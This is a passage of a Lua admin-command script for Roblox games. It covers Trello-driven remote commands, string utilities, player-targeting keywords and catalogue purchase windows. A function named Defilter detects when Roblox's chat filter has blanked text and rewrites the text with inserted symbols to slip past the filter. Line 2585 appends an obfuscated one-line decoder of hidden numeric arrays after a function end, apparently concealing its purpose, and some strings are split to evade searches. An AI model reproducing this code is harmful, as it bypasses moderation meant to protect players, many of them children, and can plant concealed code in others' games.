  2340. TemplateCards = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/lists/"..TemplateList.id.."/cards", true))
  2341. break
  2342. end
  2343. end
  2344.  
  2345. for _,TemplateCard in pairs(TemplateCards) do
  2346. local CardExists = false
  2347. for _,Card in pairs(Cards) do
  2348. if Card.name == TemplateCard.name and Card.closed == false then
  2349. CardExists = true
  2350. end
  2351. end
  2352. if not CardExists then
  2353. print("Creating card "..TemplateCard.name)
  2354. local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
  2355. table.insert(Cards, REMOTE:Decode(NewCardJSON))
  2356. end
  2357. end
  2358.  
  2359. if List.name == "Ranked" then
  2360. for _,Card in pairs(Cards) do
  2361. if Settings.Ranks[Card.name] and Card.closed == false then
  2362. Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
  2363. end
  2364. end
  2365. elseif List.name == "Settings" then
  2366. for _,Card in pairs(Cards) do
  2367. if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
  2368. Trello.ToggleChecklist = Card.idChecklists[1]
  2369. elseif Card.name == "Command Execution" then
  2370. Trello.CommandID = Card.id
  2371. end
  2372. end
  2373. end
  2374. end
  2375. end
  2376. end
  2377.  
  2378. function REMOTE:TrelloHandleData(IgnoreCommand)
  2379. local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
  2380. if ToggleSettingsJSON then
  2381. ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
  2382. if Settings.LinkedAccount == "" then
  2383. local NewSettings = {}
  2384. for _,Item in pairs(ToggleSettings.checkItems) do
  2385. NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
  2386. end
  2387. Settings.Fun = NewSettings["Fun Commands Enabled"]
  2388. Settings.ServerLocked = NewSettings["Server Locked"]
  2389. Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
  2390. end
  2391. else
  2392. return false
  2393. end
  2394.  
  2395. local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
  2396. if CommandChatJSON then
  2397. CommandChat = REMOTE:Decode(CommandChatJSON)
  2398. local ClosestDT = 0
  2399. for _,ChatData in pairs(CommandChat) do
  2400. local DT = STRING:ConvertDateTime(ChatData.date)
  2401. ClosestDT = math.max(ClosestDT, DT)
  2402.  
  2403. if not IgnoreCommand and DT > Trello.LastCommandDT then
  2404. print("Executing Remote Trello Command")
  2405. CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
  2406. end
  2407. end
  2408. Trello.LastCommandDT = ClosestDT
  2409. else
  2410. return false
  2411. end
  2412.  
  2413. for Rank,ID in pairs(Trello.RankChecklistCache) do
  2414. local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
  2415. if ChecklistJSON then
  2416. Checklist = REMOTE:Decode(ChecklistJSON)
  2417.  
  2418. for _,Item in pairs(Checklist.checkItems) do
  2419. if Item.state == "complete" then
  2420. if RANK:ConvertRank(Rank) < 0 then
  2421. if not RANK:ScanExileList(Item.name) then
  2422. table.insert(Settings.Ranks[Rank], Item.name)
  2423. end
  2424. elseif RANK:ConvertRank(Rank) > 0 then
  2425. if not RANK:ScanAdminList(Item.name) then
  2426. table.insert(Settings.Ranks[Rank], Item.name)
  2427. end
  2428. end
  2429. elseif Item.state == "incomplete" then
  2430. for Num,Name in pairs(Settings.Ranks[Rank]) do
  2431. if string.lower(Name) == string.lower(Item.name) then
  2432. table.remove(Settings.Ranks[Rank], Num)
  2433. end
  2434. end
  2435. end
  2436. end
  2437. else
  2438. return false
  2439. end
  2440. end
  2441. return true
  2442. end
  2443.  
  2444. -- String functions --
  2445.  
  2446. function STRING:ConvertDateTime(DateTime)
  2447. local Num = 0
  2448. local TotalTime = 0
  2449. for i in string.gmatch(DateTime, "%d+") do
  2450. Num = Num + 1
  2451. DTNum = tonumber(i)
  2452. if Num == 1 then
  2453. TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
  2454. elseif Num == 2 then
  2455. TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
  2456. elseif Num == 3 then
  2457. TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
  2458. elseif Num == 4 then
  2459. TotalTime = TotalTime + DTNum * 60 * 60 -- hour
  2460. elseif Num == 5 then
  2461. TotalTime = TotalTime + DTNum * 60 -- minute
  2462. elseif Num == 6 then
  2463. TotalTime = TotalTime + DTNum -- second
  2464. end
  2465. end
  2466.  
  2467. return TotalTime
  2468. end
  2469.  
  2470. function STRING:TrelloStateConvert(State)
  2471. if State == "complete" then
  2472. return true
  2473. else
  2474. return false
  2475. end
  2476. end
  2477.  
  2478. function STRING:StringRound(Number)
  2479. Number = Number * 100
  2480. if Number >= 0.5 then
  2481. return tostring(math.ceil(Number)/100)
  2482. else
  2483. return tostring(math.floor(Number)/100)
  2484. end
  2485.  
  2486. return Number
  2487. end
  2488.  
  2489. function STRING:GetSplit(String, NumArgs, BetSplit)
  2490. if not String then return nil end
  2491. if BetSplit == nil then BetSplit = " " end
  2492. if NumArgs == nil then NumArgs = math.huge end
  2493.  
  2494. if NumArgs <= 0 then return {String} end
  2495.  
  2496. local RecentParse = 1
  2497. local Args = {}
  2498. for i = 1,NumArgs do
  2499. local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
  2500. if Find1 and Find2 then
  2501. table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
  2502. RecentParse = Find2 + 1
  2503. else
  2504. break
  2505. end
  2506. end
  2507. table.insert(Args,string.sub(String,RecentParse,#String))
  2508. return Args
  2509. end
  2510.  
  2511. function STRING:Defilter(String)
  2512. local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
  2513. if RobloxApprove.Text == "Label" and String ~= "Label" then
  2514. local NewString = ""
  2515. for i = 1,#String,3 do
  2516. NewString = NewString..string.char(169)..string.sub(String,i,i+2)
  2517. end
  2518. return NewString
  2519. else
  2520. return String
  2521. end
  2522. end
  2523.  
  2524. function STRING:LeetSpeak(Input)
  2525. if tostring(Input) then Input = string.upper(tostring(Input)) else return end
  2526. Input = string.gsub(Input, "LEET", "1337")
  2527. Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
  2528. Input = string.gsub(Input, "E", "3")
  2529. Input = string.gsub(Input, "O", "0")
  2530. Input = string.gsub(Input, "A", "4")
  2531. Input = string.gsub(Input, "X", "x")
  2532. Input = string.gsub(Input, "I", "1")
  2533. Input = string.gsub(Input, "S", "$")
  2534. return Input
  2535. end
  2536.  
  2537. function STRING:FormatReplace(Player, Input)
  2538. local Output = Input
  2539. for _,ReplaceData in pairs(StringReplacements) do
  2540. if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
  2541. Output = string.gsub(Output, ReplaceData[1], ReplaceData[4](Player))
  2542. end
  2543. end
  2544. return STRING:Defilter(Output)
  2545. end
  2546.  
  2547. function STRING:EncodeSpecialChars(Input)
  2548. return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
  2549. end
  2550.  
  2551. function STRING:StringToBool(String)
  2552. if String == "true" then
  2553. return true
  2554. else
  2555. return false
  2556. end
  2557. end
  2558.  
  2559. function STRING:BoolString(Value)
  2560. if type(Value) == "boolean" then
  2561. if Value == true then
  2562. return "YES"
  2563. elseif Value == false then
  2564. return "NO"
  2565. end
  2566. else
  2567. return "NO"
  2568. end
  2569. end
  2570.  
  2571. function STRING:MakeAvoidance(Length)
  2572. if not Length then
  2573. Length = 32
  2574. end
  2575. local Avoidance = ""
  2576. for i = 1,Length do
  2577. Num = math.random(1,2)
  2578. if Num == 1 then
  2579. Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
  2580. else
  2581. Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
  2582. end
  2583. end
  2584. return Avoidance
  2585. end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
  2586.  
  2587. function STRING:FindAge(Days) -- By LuaModelmaker
  2588. local Years = math.floor(Days/365)
  2589. local OtherDays = math.fmod(Days, 365)
  2590. if Years > 1 then
  2591. return Years.." years and "..OtherDays.." days"
  2592. elseif Years == 1 then
  2593. return Years.." year and "..OtherDays.." days"
  2594. elseif Years == 0 then
  2595. return "(No years) "..OtherDays.." days"
  2596. end
  2597. end
  2598.  
  2599. function STRING:UnpackArgs(...)
  2600. local Pack = {...}
  2601. if type(Pack[1]) == "table" then Pack = Pack[1] end
  2602. local ReturnString = table.concat(Pack, ", ")
  2603. return ReturnString
  2604. end
  2605.  
  2606. function STRING:GetComma(Num)
  2607. local Formatted = Num
  2608. while true do
  2609. Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
  2610. if _ == 0 then
  2611. break
  2612. end
  2613. end
  2614. return Formatted
  2615. end
  2616.  
  2617. function STRING:DecodeUTF8(Value)
  2618. local function DecodeString(Input)
  2619. if type(Input) == "string" then
  2620. for Find,Rep in pairs(HTMLDecode) do
  2621. Input = string.gsub(Input, "&#"..Find..";", Rep)
  2622. end
  2623. Input = string.gsub(Input, "&quot;", "'")
  2624. end
  2625. return Input
  2626. end
  2627. if type(Value) == "table" then
  2628. for Index,Var in pairs(Value) do
  2629. Value[Index] = DecodeString(Var)
  2630. end
  2631. elseif type(Value) == "string" then
  2632. Value = DecodeString(Value)
  2633. end
  2634. return Value
  2635. end
  2636.  
  2637. function STRING:IsSpacer(Input)
  2638. if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
  2639. return true
  2640. else
  2641. return false
  2642. end
  2643. end
  2644.  
  2645. function STRING:IsVowel(Input)
  2646. Input = string.lower(tostring(Input))
  2647. if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
  2648. return true
  2649. else
  2650. return false
  2651. end
  2652. end
  2653.  
  2654. function STRING:ValidE(Input)
  2655. if not Input then return nil end
  2656. if string.lower(Input) == "e" or Input == "~" then
  2657. return true
  2658. else
  2659. return false
  2660. end
  2661. end
  2662.  
  2663. function STRING:Scan(String, Speaker)
  2664. local ReturnPlayers,ExcludeList = {},{}
  2665. if not String then String = "" end
  2666. if not Speaker then print("NO SPEAKER") end
  2667.  
  2668. if string.sub(string.lower(String), 1, 12) == "includecase/" then
  2669. String = string.sub(String, 13)
  2670. else
  2671. String = string.lower(String)
  2672. end
  2673. local Words = STRING:GetSplit(String, nil, "/")
  2674. for _,Word in pairs(Words) do
  2675. if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
  2676. table.insert(ReturnPlayers, Speaker)
  2677. elseif Word == "all" or Word == "everyone" then
  2678. for _,Player in pairs(Server.Players:GetPlayers()) do
  2679. table.insert(ReturnPlayers, Player)
  2680. end
  2681. elseif Word == "others" or Word == "notme" then
  2682. for _,Player in pairs(Server.Players:GetPlayers()) do
  2683. if Player ~= Speaker then
  2684. table.insert(ReturnPlayers, Player)
  2685. end
  2686. end
  2687. elseif Word == "noobs" then
  2688. for _,Player in pairs(Server.Players:GetPlayers()) do
  2689. if Player.AccountAge < 365 then
  2690. table.insert(ReturnPlayers, Player)
  2691. end
  2692. end
  2693. elseif Word == "nonnoobs" then
  2694. for _,Player in pairs(Server.Players:GetPlayers()) do
  2695. if Player.AccountAge >= 365 then
  2696. table.insert(ReturnPlayers, Player)
  2697. end
  2698. end
  2699. elseif Word == "random" then
  2700. local RandomPlayers = {}
  2701. for _,Player in pairs(Server.Players:GetPlayers()) do
  2702. if Player ~= Speaker then
  2703. table.insert(RandomPlayers, Player)
  2704. end
  2705. end
  2706. table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
  2707. elseif Word == "guests" then
  2708. for _,Player in pairs(Server.Players:GetPlayers()) do
  2709. if string.sub(Player.Name,1,6) == "Guest " then
  2710. table.insert(ReturnPlayers, Player)
  2711. end
  2712. end
  2713. elseif Word == "lowers" then
  2714. for _,Player in pairs(Server.Players:GetPlayers()) do
  2715. if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
  2716. table.insert(ReturnPlayers, Player)
  2717. end
  2718. end
  2719. elseif Word == "uppers" then
  2720. for _,Player in pairs(Server.Players:GetPlayers()) do
  2721. if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
  2722. table.insert(ReturnPlayers, Player)
  2723. end
  2724. end
  2725. elseif Word == "nbcs" then
  2726. for _,Player in pairs(Server.Players:GetPlayers()) do
  2727. if Player.MembershipType == Enum.MembershipType.None then -- Replicate
  2728. table.insert(ReturnPlayers, Player)
  2729. end
  2730. end
  2731. elseif Word == "bcs" then
  2732. for _,Player in pairs(Server.Players:GetPlayers()) do
  2733. if Player.MembershipType == Enum.MembershipType.BuildersClub then
  2734. table.insert(ReturnPlayers, Player)
  2735. end
  2736. end
  2737. elseif Word == "tbcs" then
  2738. for _,Player in pairs(Server.Players:GetPlayers()) do
  2739. if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
  2740. table.insert(ReturnPlayers, Player)
  2741. end
  2742. end
  2743. elseif Word == "obcs" then
  2744. for _,Player in pairs(Server.Players:GetPlayers()) do
  2745. if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
  2746. table.insert(ReturnPlayers, Player)
  2747. end
  2748. end
  2749. elseif Word == "allbcs" then
  2750. for _,Player in pairs(Server.Players:GetPlayers()) do
  2751. if Player.MembershipType ~= Enum.MembershipType.None then
  2752. table.insert(ReturnPlayers, Player)
  2753. end
  2754. end
  2755. elseif Word == "nonadmins" then
  2756. for _,Player in pairs(Server.Players:GetPlayers()) do
  2757. local IsAdminTrue, Rank = RANK:IsAdmin(Player)
  2758. if IsAdminTrue == false then
  2759. table.insert(ReturnPlayers, Player)
  2760. end
  2761. end
  2762. elseif Word == "admins" then
  2763. for _,Player in pairs(Server.Players:GetPlayers()) do
  2764. local IsAdminTrue, Rank = RANK:IsAdmin(Player)
  2765. if IsAdminTrue == true then
  2766. table.insert(ReturnPlayers, Player)
  2767. end
  2768. end
  2769. elseif Word == "friends" then
  2770. for _,Player in pairs(Server.Players:GetPlayers()) do
  2771. if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
  2772. table.insert(ReturnPlayers, Player)
  2773. end
  2774. end
  2775. elseif string.sub(Word,1,5) == "team-" then
  2776. for _,Player in pairs(Server.Players:GetPlayers()) do
  2777. if Player.Neutral == false then
  2778. local InTeam = false
  2779. for _,Team in pairs(Teams:GetTeams()) do
  2780. if Team.TeamColor == Player.TeamColor then
  2781. if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
  2782. InTeam = true
  2783. end
  2784. end
  2785. end
  2786. if InTeam == true then
  2787. table.insert(ReturnPlayers, Player)
  2788. end
  2789. end
  2790. end
  2791. elseif string.sub(Word,1,4) == "not-" then
  2792. local NameArg = string.sub(Word,5)
  2793.  
  2794. for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
  2795. table.insert(ExcludeList, Player)
  2796. end
  2797. elseif string.sub(Word,1,7) == "radius-" then
  2798. local DidExe = false
  2799. local NumArg = tonumber(string.sub(Word,8))
  2800.  
  2801. if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
  2802. for _,Player in pairs(Server.Players:GetChildren()) do
  2803. if Player.Character and Player.Character:FindFirstChild("Torso") then
  2804. if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
  2805. DidExe = true
  2806. table.insert(ReturnPlayers, Player)
  2807. end
  2808. end
  2809. end
  2810. end
  2811.  
  2812. if DidExe then coroutine.wrap(function()
  2813. local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
  2814. local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
  2815.  
  2816. for i = 0,0.5,0.02 do
  2817. Part.Transparency = 0.5+i
  2818. wait()
  2819. end
  2820. Part:Destroy()
  2821. end)() end
  2822. elseif string.sub(Word,1,3) == "id-" then
  2823. table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
  2824. else
  2825. if Word ~= "" then
  2826. for _,Player in pairs(Server.Players:GetPlayers()) do
  2827. if string.sub(string.lower(Player.Name),1,#Word) == Word then
  2828. table.insert(ReturnPlayers, Player)
  2829. end
  2830. end
  2831. else
  2832. table.insert(ReturnPlayers, Speaker)
  2833. end
  2834. end
  2835. end
  2836. for _,Player in pairs(ExcludeList) do
  2837. if Player and Player.Parent ~= nil then
  2838. for Num,Player2 in pairs(ReturnPlayers) do
  2839. if Player2 == Player then table.remove(ReturnPlayers, Num) end
  2840. end
  2841. end
  2842. end
  2843. for Num,Player in pairs(ReturnPlayers) do
  2844. if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
  2845. end
  2846.  
  2847. local PlayerDump = {}
  2848. for _,Player in pairs(ReturnPlayers) do
  2849. PlayerDump[Player] = true
  2850. end
  2851. ReturnPlayers = {}
  2852. for Player,_ in pairs(PlayerDump) do
  2853. table.insert(ReturnPlayers, Player)
  2854. end
  2855.  
  2856. return ReturnPlayers
  2857. end
  2858.  
  2859. -- Market functions --
  2860.  
  2861. function MARKET:GetImageFormat(ID)
  2862. if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
  2863. local NewID = ID + 1
  2864. for i = 1,100 do
  2865. NewID = NewID -1
  2866. local Product = nil
  2867. ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
  2868. if Product then
  2869. if Product == 1 then
  2870. break
  2871. end
  2872. end
  2873. if i == 100 then NewID = ID end
  2874. end
  2875. return NewID
  2876. end end
  2877. end
  2878.  
  2879. function MARKET:GetItemInfo(ID, Cache)
  2880. local Product = MarketCache[ID]
  2881. if not Cache or not Product then
  2882. repeat wait()
  2883. ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
  2884. until Product ~= MarketCache[ID]
  2885. end
  2886. MarketCache[ID] = Product
  2887. return Product
  2888. end
  2889.  
  2890. function MARKET:SearchItem(Category, Query, Subcategory)
  2891. local URLAdd = ""
  2892. if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
  2893. local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
  2894. if JSON then
  2895. local Results = REMOTE:Decode(JSON)
  2896. if Results then
  2897. for Index,Info in pairs(Results) do
  2898. Info = STRING:DecodeUTF8(Info)
  2899. Results[Index] = Info
  2900. MarketCache[Info.AssetId] = {
  2901. AssetId = Info.AssetId;
  2902. AssetTypeId = Info.AssetTypeID;
  2903. ContentRatingTypeId = Info.ContentRatingTypeID;
  2904. Created = Info.CreatedDate;
  2905. Creator = {Name = Info.Creator, Id = Info.CreatorID};
  2906. Description = Info.Description;
  2907. IsForSale = Info.IsForSale;
  2908. IsLimited = Info.IsLimited;
  2909. IsLimitedUnique = Info.IsLimitedUnique;
  2910. IsNew = Info.IsNew;
  2911. IsPublicDomain = Info.IsPublicDomain;
  2912. MinimumMemberShipLevel = Info.MinimumMembershipLevel;
  2913. Name = Info.Name;
  2914. PriceInRobux = Info.PriceInRobux;
  2915. PriceInTickets = Info.PriceInTickets;
  2916. ProductId = Info.AssetId; -- no one knows what this is so whatevs..
  2917. Remaining = Info.Remaining;
  2918. Sales = Info.Sales;
  2919. Updated = Info.Updated;
  2920. }
  2921. end
  2922. return Results
  2923. end
  2924. end
  2925. end
  2926.  
  2927. function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
  2928. if not Player or not Category or not Query then return nil end
  2929. local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
  2930. local Items = MARKET:SearchItem(Category, Query, Subcategory)
  2931. if Items then
  2932. if #Items ~= 0 then
  2933. local List,Correlate = {},{}
  2934. for Num,Info in pairs(Items) do
  2935. local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
  2936. table.insert(List, Display)
  2937. Correlate[Display[1]] = Info.AssetId
  2938. end
  2939. CloseGui:Invoke()
  2940.  
  2941. local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
  2942. Clicked.Event:connect(function(ClickName)
  2943. ClickedItem(Correlate[ClickName])
  2944. end)
  2945. else
  2946. CloseGui:Invoke()
  2947. GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
  2948. end
  2949. else
  2950. CloseGui:Invoke()
  2951. GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
  2952. end
  2953. end
  2954.  
  2955. function MARKET:AssetTypeToString(AssetType)
  2956. if AssetType == 1 then return "Image"
  2957. elseif AssetType == 2 then return "T-Shirt"
  2958. elseif AssetType == 3 then return "Audio"
  2959. elseif AssetType == 4 then return "Mesh"
  2960. elseif AssetType == 5 then return "Lua"
  2961. elseif AssetType == 6 then return "HTML"
  2962. elseif AssetType == 7 then return "Text"
  2963. elseif AssetType == 8 then return "Hat"
  2964. elseif AssetType == 9 then return "Place"
  2965. elseif AssetType == 10 then return "Model"
  2966. elseif AssetType == 11 then return "Shirt"
  2967. elseif AssetType == 12 then return "Pants"
  2968. elseif AssetType == 13 then return "Decal"
  2969. elseif AssetType == 16 then return "Avatar"
  2970. elseif AssetType == 17 then return "Head"
  2971. elseif AssetType == 18 then return "Face"
  2972. elseif AssetType == 19 then return "Gear"
  2973. elseif AssetType == 21 then return "Badge"
  2974. elseif AssetType == 22 then return "Group Emblem"
  2975. elseif AssetType == 24 then return "Animation"
  2976. elseif AssetType == 25 then return "Arms"
  2977. elseif AssetType == 26 then return "Legs"
  2978. elseif AssetType == 27 then return "Torso"
  2979. elseif AssetType == 28 then return "Right Arm"
  2980. elseif AssetType == 29 then return "Left Arm"
  2981. elseif AssetType == 30 then return "Left Leg"
  2982. elseif AssetType == 31 then return "Right Leg"
  2983. elseif AssetType == 32 then return "Package"
  2984. elseif AssetType == 33 then return "YouTube Video"
  2985. elseif AssetType == 34 then return "Game Pass"
  2986. elseif AssetType == 38 then return "Plugin"
  2987. elseif AssetType == 0 then return "Product"
  2988. end
  2989. return "Content Invalid"
  2990. end
  2991.  
  2992. function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
  2993. if not Player then return nil end
  2994. if not Player:FindFirstChild("PlayerGui") then return nil end
  2995. if not tonumber(ProductID) then return nil end
  2996.  
  2997. local FromText = ""
  2998. if From and From.Name then FromText = " | Prompted from "..From.Name end
  2999.  
  3000. local Product = MARKET:GetItemInfo(ProductID, true)
  3001.  
  3002. local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
  3003. local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
  3004. local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
  3005.  
  3006. local CanBuy = Product.IsForSale
  3007. local BuyText = "Buy"
  3008. local BuyColor = Color3.new(0,1,0)
  3009. if CanBuy == false then
  3010. BuyColor = Color3.new(1,0,0)
  3011. end
  3012. if Product.IsPublicDomain == true then
  3013. CanBuy = true
  3014. BuyColor = Color3.new(1,0.5,0.5)
  3015. BuyText = "FREE!"
  3016. end
  3017. if OwnsAsset then
  3018. CanBuy = false
  3019. end
  3020. if Product.AssetTypeId == 9 then
  3021. CanBuy = true
  3022. BuyText = "Teleport"
  3023. BuyColor = Color3.new(0.5,0.5,0.5)
  3024. end
  3025. if CanBuy == false then
  3026. BuyColor = Color3.new(1,0,0)
  3027. BuyText = "Item not for sale"
  3028. end
  3029. if OwnsAsset and Product.AssetTypeId ~= 9 then
  3030. BuyColor = Color3.new(1,0,0)
  3031. BuyText = "You own this!"
  3032. end
  3033.  
  3034. local ProductName = string.sub(Product.Name,1,20)
  3035. if ProductID == AdminID then ProductName = Product.Name end
  3036. local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
  3037. local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
  3038. local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
  3039. local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
  3040. local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
  3041. local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
  3042. local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
  3043. local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
  3044. if Product.Description then
  3045. local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
  3046. local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
  3047.  
  3048. CORE:ExecuteResource("CalculateScrollY", Description)
  3049. end
  3050.  
  3051. Info.Text = [[
  3052. Creator: ]]..Product.Creator.Name..[[
  3053. Created: ]]..CreatedText..[[
  3054. Updated: ]]..UpdatedText..[[
  3055. Sold: ]]..Product.Sales..[[
  3056. ]]
  3057.  
  3058. if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
  3059. if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
  3060.  
  3061. if Product.AssetTypeId == 3 then
  3062. local PlayerAdmin,Rank = RANK:IsAdmin(Player)
  3063. if PlayerAdmin == true then
  3064. local Playing = false
  3065. local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
  3066. CORE:HandleEvent(Interact, "MouseButton1Down", function()
  3067. if Playing == false then
